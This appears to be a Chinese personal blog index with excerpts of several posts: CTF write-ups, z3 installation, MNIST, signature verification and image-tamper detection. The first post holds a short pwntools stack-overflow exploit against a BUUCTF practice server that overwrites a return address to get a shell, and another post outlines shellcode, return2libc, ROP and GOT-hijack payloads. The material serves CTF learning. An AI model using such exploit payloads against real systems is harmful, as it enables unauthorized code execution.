pwn(2) 愚人发现了pwn的有趣之处 对于填充大小的研究
原创
: pwn(2) 愚人发现了pwn的有趣之处 对于填充大小的研究
pwn(2)
愚人发现了pwn的有趣之处 对于填充大小的研究
123456789#python3 from pwn import *p = remote('node3.buuoj.cn', '25822')payload = b'b' * (0x40+8)+ p64(0x40060D)p.sendline(payload)p.interactive()
抄了几个wp,一直很奇怪为什么这个填充的字符数量为什么规则不一样。
比如上面的填充规则是输入的字符大小+EBP大小
因为是64位的系统所以EBP大小是8,而前面的0x40是64位,也就是此处输入的字符大小。
后面的0x40060D是栈帧头,再push
ebp就是system(**)命令了。
需要的就是再+ebp的大小,以达到eip,eip里面放的是system(**)的地址。
这样合理性就很 充分了。
123456789101112131415#python3 from pw ...
word的奇葩功能--隐藏文字
原创
: word的奇葩功能–隐藏文字
word的奇葩功能–隐藏文字
这是一个rar文件,但是感觉有点怪怪的。
把文件头改了,大概率就可以打开rar了。
出现一个docx文档。
啥都没有
现在就来讲一讲word的隐藏文字功能。。。。。有点邪门的。
就是不知道有没有方法从源文件就可以知道隐藏文字的内容。方法肯定是有的,毕竟信息就在那里。也不知道word是怎么编码的。
点击文字内容,右击字体选项,即可进入此界面
点击隐藏文字选项后
就全没了
需要全选,再把隐藏文字选项取消才能够重现。
既然是音符,那么就搜索音符解码就好了。这些misc题目用到奇奇怪怪的密码的时候总是这个尿性。
MRCTF{thEse_n0tes_ArE_am@zing~}
pwn学习记录笔记
原创
: pwn学习记录笔记
pwn学习记录笔记
转自知乎大神 ——
手把手教你栈溢出从入门到放弃
基础4方法
修改返回地址,让其指向溢出数据中的一段指令(shellcode)
修改返回地址,让其指向内存中已有的某个函数(return2libc)
修改返回地址,让其指向内存中已有的一段指令(ROP)
修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)
修改返回地址,让其指向溢出数据中的一段指令(shellcode)
payload : padding1 + address of shellcode + padding2 + shellcode
会有一些权限的问题
而下面的两种方法就可以解决权限的问题 就是
修改返回地址,让其指向内存中已有的某个函数(return2libc)
修改返回地址,让其指向内存中已有的一段指令(ROP)
Return2libc
修改返回地址,让其指向内存中已有的某个函数
重点是找到系统级指令 payload: padding1 + address of system() +
pa ...
z3安装到Anaconda环境_突然成功
原创
: z3安装到Anaconda环境_突然成功
z3安装到Anaconda环境_突然成功
此前多次安装python z3库未果,会在安装到一半
时候跳出提示,写了一大堆的网址,总之是没有跳出success。
根据上古材料显示,z3只能安装在python2上面。于是安装在kali linux
上的python2上,但是安装在虚拟机上总是用起来不顺,也没有在虚拟机上安装ide。
在某一个没有星星的夜晚,偶然想起来一句神秘指令
pip install z3-solver
幸甚至哉 水文+1
使用MNIST数据集并显示一些图片
原创
: 使用MNIST数据集并显示一些图片
使用MNIST数据集并显示一些图片
12345678910111213141516171819202122232425262728293031from torch.utils.data import DataLoaderimport matplotlib.pyplot as pltimport numpy as npimport torchvisionimport torchvision.transforms as transformsfrom torch.utils.data import DataLoaderfrom torchvision import datasets# 定义一些超参数batch_size = 64learning_rate = 0.02num_epoches = 20# 数据预处理。transforms.ToTensor()将图片转换成PyTorch中处理的对象Tensor,并且进行标准化(数据在0~1之间)# transforms.Normalize()做归一化。它进行了减均值,再除以标准差。两个参数分别是 ...
使用基于分形系统的离线签名方法
原创
: 使用基于分形系统的离线签名方法
使用基于分形系统的离线签名方法
使用基于分形系统的离线签名方法
主要参考文献: (基于分形理论的离线签名鉴别系统
叶秀芬,裴志,王杰)
完全使用C语言编写,使用opencv库
使用二值化,归一化,进行图像预处理后,使得图像可以比较。
求出他的分形维度特征,利用分形维数作为提取的特征,分形维数定量地表述了分形物体的形状和复杂性。
用分形理论进行图像分析的原理是利用图像的分形维数特征进行分析。分形维数直观上与物体表面的粗糙程度相吻合,而自然界不同物体粗糙程度有很大差别,因此可用分形维数作为区别不同类别物体的有效参数。分形维数反映了人们对物体表面粗糙程度的
感受,又具有尺度变换下不变性这个性质,因而该参
数在图像分析中有着广泛的应用前景。
本次使用盒子维作为较容易求的分形维度。
依据论文,分形维度求法为,讲图像分为多个小方块,对于图像中每一个小方块计算最大灰度和最小灰度的差值,再将
差值/小方块边长(ε) 累加,得到N,得到(logN,logξ)的序列;
重复上述操作多次,得到多个(logN,logξ)的序列
...
可能有用的篡改检测常识
原创
: 可能有用的篡改检测常识
可能有用的篡改检测常识
Deep learning-based Technique for Image Tamper Detection
图像篡改检测方向的2021年的综述,主要介绍一些深度学习方法的优缺点。但是逻辑方面感觉有点不对。
Proceedings of the Third International Conference on Intelligent
Communication Technologies and Virtual Mobile Networks (ICICV
2021). IEEE Xplore Part Number: CFP21ONG-ART; 978-0-7381-1183-4
脆弱水印:对图像的任何修改做出反应,由相当的敏感性,认为不大适合篡改检测任务。
半脆弱水印:只有对于内容的大的篡改反应,而不对一些用户常见的非恶意的图像操作反应。
稳定水印:在大多数情况下都会保留,即使是做了强的恶意篡改。估计是和采样点有点关系。一般不考虑作为篡改检测的依据。而在于产权的保护。
...
图像篡改常用数据集casia
原创
: 图像篡改常用数据集casia
图像篡改常用数据集casia
摘自论文 CASIA IMAGE TAMPERING DETECTION EVALUATION
DATABASE
2013年发表的论文。
CASIA 数据集是Institute of Automation, Chinese Academy of
Sciences 国人所作,中科院自动化研究所。
以下内容是瞎猜的
Chinese Academy of
Sciences , 估计CAS是这个的缩写。
而这个IA可能是这个。不明原因,iA这个词就有只能自动的含义。
所以就是CASIA = CAS + IA=中科院 自动化
就图像篡改数据集而言,是相对其他任务更加容易获得的,单张篡改图像的制作难度很低,但是多样的篡改数据,适合训练的篡改数据难以制作。但是制作数据集的难度还是比较低的。所以会有不少人自己做数据集训练。
CASIA 和Columbia
CASIA v2.0
CASIA v1.0
交叉验证
比较Columbia 优势
就有一些论文,喜欢在Columbia里面测试 ...
win32api查看屏幕分辨率error
原创
: win32api查看屏幕分辨率error
win32api查看屏幕分辨率error
123456import win32apiprint(win32api.GetSystemMetrics(win32con.SM_CXSCREEN))print(win32api.GetSystemMetrics(win32con.SM_CYSCREEN))# 1536 864
发现一个很有趣的现象,调用window api
,查看屏幕分辨率,得出的分辨率大小和实际的不相符
这个大小实际上是真实分辨率大小的80%
但是使用tk查看的分辨率大小是和实际分辨率大小一致的。
而tk本质上就是调用了这个api函数,得到的结果却不同
求因子数量的函数
原创
: 求因子数量的函数
求因子数量的函数
12345678910111213141516171819int search(int n){ int i; int s,t; int num=0; t=0; for(i=1,s=0;i<=n;i++) { s+=n/i; } for(i=1,t=0;i<n;i++) { t+=(n-1)/i; } num=s-t; return num;}
求因子数量的函数 复杂度可能挺大的;



